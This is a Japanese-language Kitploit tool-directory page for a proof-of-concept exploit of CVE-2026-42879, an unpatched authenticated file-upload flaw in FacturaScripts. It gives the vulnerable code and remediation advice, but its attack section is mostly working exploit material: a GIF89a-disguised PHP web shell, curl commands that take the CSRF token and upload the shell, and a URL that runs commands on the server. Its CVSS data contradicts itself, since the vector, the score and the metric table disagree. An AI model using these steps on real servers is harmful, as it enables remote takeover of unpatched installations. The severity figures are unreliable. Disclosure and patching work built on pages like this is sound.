Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-42879 — FacturaScripts RCEエクスプロイト - 概念実証 | Kitploit
ツール/GitHubGitHub/guzrex/cve-2026-42879
脆弱性分析エクスプロイトウェブアプリケーション悪用ペネトレーションテストレッドチーミングペイロード開発
GitHubguzrex/cve-2026-42879

CVE-2026-42879

FacturaScripts RCEエクスプロイト - 概念実証

リポジトリを見る
4ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-42879 - FacturaScripts - MIMEタイプバイパスによる認証済み無制限ファイルアップロード

概要

FacturaScriptsの商品画像アップロード機能に、認証済みユーザーが悪用可能な無制限ファイルアップロードの脆弱性が存在します。有効な認証情報を持つ攻撃者は、GIF89aヘッダーを使用してPHPファイルをGIF画像に偽装し、MIMEタイプ検証をバイパスできます。ファイルは元の拡張子(.phpなどの実行可能な拡張子を含む)で保存されます。


詳細

脆弱性は以下のファイルに存在します:

Core/Lib/ExtendedController/ProductImagesTrait.php

具体的には、addImageAction() メソッド内です。

脆弱なコード

root@kitploit:~
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
    Tools::log()->error('file-not-supported');
    continue;
}

$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());

根本原因

  • 検証はMIMEタイプに "image/" が含まれているかどうかのみをチェックします
  • PHPファイルの先頭に GIF89aマジックバイト を付加することでバイパス可能です
  • システムはファイルを誤って image/gif として識別します
  • ファイルはWebアクセス可能なディレクトリに .php 拡張子で保存されます

ファイル保存動作

アップロードされたファイルは以下の場所に保存されます:

root@kitploit:~
/MyFiles/YYYY/MM/X.php

ここで X は自動インクリメントされるIDです。これにより直接的なリモート実行が可能になります:

root@kitploit:~
http://target/MyFiles/2026/03/2.php?cmd=id

影響

悪用に成功すると、以下のことが可能になります:

攻撃者は実行可能な拡張子(例:.php)を持つファイルをサーバーにアップロードでき、サーバー設定によってはさらなる悪用につながる可能性があります。


概念実証(手動)

ステップ1: 悪意のあるファイルを作成

root@kitploit:~
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF

ステップ2: 認証

  • アプリケーションにログインします
  • ブラウザのCookieから PHPSESSID を抽出します

ステップ3: CSRFトークンを取得

root@kitploit:~
curl -s "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  | grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4

ステップ4: シェルをアップロード

root@kitploit:~
curl -X POST "http://target/EditProducto?code=CONTA621" \
  -H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
  -F "multireqtoken=YOUR_CSRF_TOKEN" \
  -F "action=add-image" \
  -F "activetab=EditProductoImagen" \
  -F "idproducto=3" \
  -F "newfiles[][email protected]"

ステップ5: コマンドを実行

root@kitploit:~
curl "http://target/MyFiles/2026/03/2.php?cmd=id"

CVSS v3.1

ベクター: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N 基本スコア: 6.3(中程度)

メトリック値
攻撃元ネットワーク(AV:N)
攻撃の複雑さ低(AC:L)
必要な権限低(PR:L)
ユーザー操作なし(UI:N)
スコープ変更あり(S:C)
機密性高(C:H)
完全性高(I:H)
可用性高(A:H)

CWE

  • CWE-434: 危険なタイプのファイルの無制限アップロード

影響を受ける製品

フィールド値
エコシステムPackagist
CVE IDCVE-2026-42879
パッケージ名facturascripts/facturascripts
影響を受けるバージョン<= 2025.81
パッチ適用済みバージョン未パッチ
修正版保留中

修正推奨事項

  1. ファイル拡張子を検証 — MIMEタイプに関係なく、ファイル名が .php、.phtml、.phar、またはその他の実行可能な拡張子で終わるアップロードを拒否します
  2. サーバー側でファイル名を再生成 — getClientOriginalName() を使用せず、検証済みの拡張子を持つ安全なUUIDベースの名前を割り当てます
  3. アップロードをWebルート外に保存 — コンテンツをストリーミングするコントローラーを介してファイルを提供し、直接URL実行を防ぎます
  4. ファイルタイプライブラリを使用 — クライアント提供のMIMEを信頼するのではなく、fileinfo などのライブラリを使用して実際のファイルコンテンツ(マジックバイト + 拡張子 + MIMEタイプ)を検証します

クレジット

  • 発見者: Abdullah Alwasabei / Guzrex
ツールをダウンロード